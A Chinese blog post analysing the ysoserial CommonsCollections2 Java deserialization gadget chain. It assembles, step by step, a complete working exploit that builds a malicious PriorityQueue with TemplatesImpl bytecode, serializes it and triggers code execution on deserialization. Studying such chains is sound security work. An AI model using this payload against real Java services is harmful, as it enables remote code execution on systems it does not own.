• ysoserial CommonsCollections2 分析


    在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化。

    已知的TemplatesImpl->newTransformer()是最终要执行的。

    TemplatesImpl类动态加载方式的实现分析见ysoserial CommonsCollections3 分析中的一、二部分。

    TemplatesImpl->newTransformer()的调用通过InvokerTransformer.transform()反射机制实现,这里可以看ysoserial CommonsCollections1 分析中的前半部分内容。

    cc2是针对commons-collections4版本,利用链如下:

    /*
    	Gadget chain:
    		ObjectInputStream.readObject()
    			PriorityQueue.readObject()
    				...
    					TransformingComparator.compare()
    						InvokerTransformer.transform()
    							Method.invoke()
    								Runtime.exec()
     */
    

    所以在InvokerTransformer.transform()之后的利用如下:

    public class CC2Test2 {
        public static void main(String[] args) throws Exception {
    
            TemplatesImpl templates = new TemplatesImpl();
    
            Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
    
            Field name = templates_cl.getDeclaredField("_name");
            name.setAccessible(true);
            name.set(templates,"xxx");
    
            Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
            transletIndex.setAccessible(true);
            transletIndex.set(templates,0);
    
            byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
            byte[][] codes = {code};
    
            //给_bytecodes赋值
            Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
            bytecodes.setAccessible(true);
            bytecodes.set(templates,codes);
    
            //要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap
            //_tfactorys是TransformerFactoryImpl类型的
            TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
            Field tfactory = templates_cl.getDeclaredField("_tfactory");
            tfactory.setAccessible(true);
            tfactory.set(templates,transformerFactory);
    
            InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
            transformer.transform(templates);
    
        }
    }
    

    一、InvokerTransformer.transform()的调用

    TransformingComparator的compare,实现了对属性this.transformer的transform调用,这里可以通过TransformingComparator构造方法为该属性赋值。

    public class TransformingComparator implements Comparator, Serializable {
        private static final long serialVersionUID = 3456940356043606220L;
        private final Comparator decorated;
        private final Transformersuper I, ? extends O> transformer;
    
        public TransformingComparator(Transformersuper I, ? extends O> transformer) {
            this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
        }
    
        public TransformingComparator(Transformersuper I, ? extends O> transformer, Comparator decorated) {
            this.decorated = decorated;
            this.transformer = transformer;
        }
    
        public int compare(I obj1, I obj2) {
            O value1 = this.transformer.transform(obj1);
            O value2 = this.transformer.transform(obj2);
            return this.decorated.compare(value1, value2);
        }
    }
    

    通过compare的调用

    InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
    TransformingComparator transformingComparator = new TransformingComparator(transformer);
    transformingComparator.compare(null,templates);
    

    二、TransformingComparator.compare()的调用

    PriorityQueue类中的readobject()调用了heapify(),heapify()中调用了siftDown(),siftDown()调用了siftDownUsingComparator(),siftDownUsingComparator()方法实现了comparator.compare()调用。

    那么只要将transformingComparator对象赋值给comparator,可以通过反射,也可以通过构造方法,这里通过构造方法,且initialCapacity不能小于1。

    public PriorityQueue(int initialCapacity,
                         Comparatorsuper E> comparator) {
        // Note: This restriction of at least one is not actually needed,
        // but continues for 1.5 compatibility
        if (initialCapacity < 1)
            throw new IllegalArgumentException();
        this.queue = new Object[initialCapacity];
        this.comparator = comparator;
    }
    

    由于comparator.compare()中的参数来自queue,所以需要将templates赋值给queue。

    InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
    PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator);
    priorityQueue.add(1);
    priorityQueue.add(templates);
    
    

    但是由于在priorityQueue.add()方法中会调用siftUp()->siftUpUsingComparator()->comparator.compare()。

    priorityQueue.add()中带入的参数对象如果不存在newTransformer方法将报错,另外使用templates作为参数,又会导致在序列化过程构造恶意对象的时候得到执行。所以这里先用toString()方法代替,后通过反射方式修改this.iMethodName属性。

    TransformingComparator transformingComparator = new TransformingComparator(transformer);
    
    PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator);
    priorityQueue.add(1);
    priorityQueue.add(2);
    
    Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
    iMethodName.setAccessible(true);
    iMethodName.set(transformer,"newTransformer");
    
    

    三、queue属性赋值

    transient queue无法序列化,但在PriorityQueue的writeobject()、readobject中对queue做了重写,实现序列化和反序列化。

    private void writeObject(java.io.ObjectOutputStream s)
            throws java.io.IOException {
        	//略
            for (int i = 0; i < size; i++)
                s.writeObject(queue[i]);
        }
    
    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
    	//略
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();
    
        heapify();
    }
    

    通过反射修改queues[0],利用如下:

    TransformingComparator transformingComparator = new TransformingComparator(transformer);
    
    PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator);
    priorityQueue.add(1);
    priorityQueue.add(2);
    
    Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
    iMethodName.setAccessible(true);
    iMethodName.set(transformer,"newTransformer");
    
    Field queue = priorityQueue.getClass().getDeclaredField("queue");
    queue.setAccessible(true);
    Object[] queues = (Object[]) queue.get(priorityQueue);
    queues[0] = templates;
    //这里得替换queues[0]
    //如果queues[0]依旧保留使用Integer,会因为无法找到newTransformer报错。
    
    
    

    最终完整利用实现:

    public class CC2Test2 {
        public static void main(String[] args) throws Exception {
    
            TemplatesImpl templates = new TemplatesImpl();
    
            Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
    
            Field name = templates_cl.getDeclaredField("_name");
            name.setAccessible(true);
            name.set(templates,"xxx");
    
            Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
            transletIndex.setAccessible(true);
            transletIndex.set(templates,0);
    
            byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
            byte[][] codes = {code};
    
            //给_bytecodes赋值
            Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
            bytecodes.setAccessible(true);
            bytecodes.set(templates,codes);
    
            //要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap
            //_tfactorys是TransformerFactoryImpl类型的
            TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
            Field tfactory = templates_cl.getDeclaredField("_tfactory");
            tfactory.setAccessible(true);
            tfactory.set(templates,transformerFactory);
    
            InvokerTransformer transformer = new InvokerTransformer("toString", null, null);
    
            TransformingComparator transformingComparator = new TransformingComparator(transformer);
    
            PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator);
            priorityQueue.add(1);
            priorityQueue.add(2);
    
            Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
            iMethodName.setAccessible(true);
            iMethodName.set(transformer,"newTransformer");
    
            Field queue = priorityQueue.getClass().getDeclaredField("queue");
            queue.setAccessible(true);
            Object[] queues = (Object[]) queue.get(priorityQueue);
            queues[0] = templates;
    
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc2.ser"));
            objectOutputStream.writeObject(priorityQueue);
    
            ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc2.ser"));
            objectInputStream.readObject();
    
        }
    }
    
    

  • 相关阅读:
    Vue监测数据原理
    go语言 | 图解反射(一)
    第3章 指令级并行及其利用
    【无标题】
    有哪些国产的SSL品牌?国产的SSL值得信任吗?
    单目标应用:白鲸优化算法(Beluga whale optimization,BWO)优化双向长短时记忆BiLSTM的权值和阈值(提供MATLAB代码)
    SVM与基于马氏距离的径向基函数(MDRBF)核结合组合(Matlab代码实现)
    「直播回放」电子会计档案管理,让数字化成果深度利用、可查可验
    考试必备技能--自制题库
    爆款小游戏用的都是什么游戏开发引擎?
  • 原文地址:https://www.cnblogs.com/vpandaxjl/p/16852619.html